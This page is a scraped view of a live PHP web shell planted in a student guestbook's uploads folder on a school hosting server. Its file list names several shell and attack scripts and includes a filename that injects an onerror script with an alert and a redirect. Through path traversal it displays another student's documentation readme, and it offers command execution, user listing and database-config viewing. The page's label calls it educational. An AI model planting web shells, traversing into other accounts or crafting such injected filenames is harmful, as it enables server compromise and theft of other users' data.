🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584701.klas4s23.mid-ica.nl/public_html/projects/project_documentation/readme.md

## Template: HTML structure for documentation pages

Use this template to create additional documentation pages that follow the same structure and visual conventions as `stemwijzer.html`.

Copy this skeleton and replace the section content. Keep the IDs and the main class names so the project's shared scripts and styles (like `toc.js`, `search.js`, and the project's CSS) keep working.

```html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Page title</title>
  <!-- Link the site/global stylesheet so classes like .note, .important, .code-block render correctly -->
  <link rel="stylesheet" href="../../assets/css/style.css">
</head>
<body>

  <!-- Accessibility fallback language toggle (visible when JS is off) -->
  <div class="lang-toggle-noscript" aria-hidden="false">
    <a href="page_nl.html">NL</a>
    <span aria-hidden="true"> | </span>
    <a href="page.html">EN</a>
  </div>

  <!-- Main page headings -->
  <h1>Main title</h1>
  <h2>Subtitle / documentation type</h2>

  <!-- Table-of-contents placeholder (populated by toc.js) -->
  <div id="doc-toc-placeholder" aria-hidden="true"></div>

  <!-- Meta info (version/date) -->
  <p><strong>Document Version:</strong> 1.0.0<br>
  <strong>Last Updated:</strong> YYYY-MM-DD<br>
  <strong>Document Type:</strong> Technical Reference Guide</p>

  <div class="page-break"></div>

  <!-- Section structure: use consistent heading levels -->
  <h2>1. Section title</h2>
  <h3>1.1 Subsection</h3>
  <p>Intro paragraph...</p>

  <!-- Small inline note -->
  <div class="note">
    <strong>Note:</strong> short informative text
  </div>

  <!-- Examples and highlighted text -->
  <div class="example">
    <strong>Example:</strong> describe scenario or example here
  </div>

  <div class="important">
    <strong>Important:</strong> critical rule or warning
  </div>

  <!-- Use code-block for preformatted examples (SQL, JSON, PHP) -->
  <div class="code-block">
    -- SQL / JSON / code example here
  </div>

  <!-- Repeat heading levels as needed: h2, h3, h4 -->
  <h2>2. Another major section</h2>
  <h3>2.1 Details</h3>

  <div class="page-break"></div>

  <!-- Footer scripts used by the documentation pages -->
  <script src="../../assets/js/toc.js"></script>
  <script src="../../assets/js/search.js"></script>

</body>
</html>
```

### Conventions and class guide

- `lang-toggle-noscript`: keep for pages that need a simple, no-JS language switch.
- `page-break`: insert between large sections to control print/PDF layout.
- `note`: short informational boxes.
- `important`: warnings, rules, or must-know items.
- `example`: worked examples and scenarios.
- `code-block`: preformatted code, SQL queries, or JSON examples.
- `container`: (optional) used in some views to constrain layout — include if your page needs the same margins.

### Component includes (for CMS view pages)

If you later convert these docs into PHP view pages, the project uses components like:
- `components/position_result.php`
- `components/axis_scores.php`
- `components/political_compass.php`
- `components/position_error.php`

These are not required in pure HTML docs, but they're listed here so you know how the PHP views render the same content.

---

Next steps I can help with:
- Generate a small CSS snippet with visual styles for `.note`, `.important`, `.example`, `.code-block`, and `.page-break` (useful for new docs).
- Create a simple script to scaffold a new documentation file from this template.

If you'd like that, tell me which option and I'll add it.

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!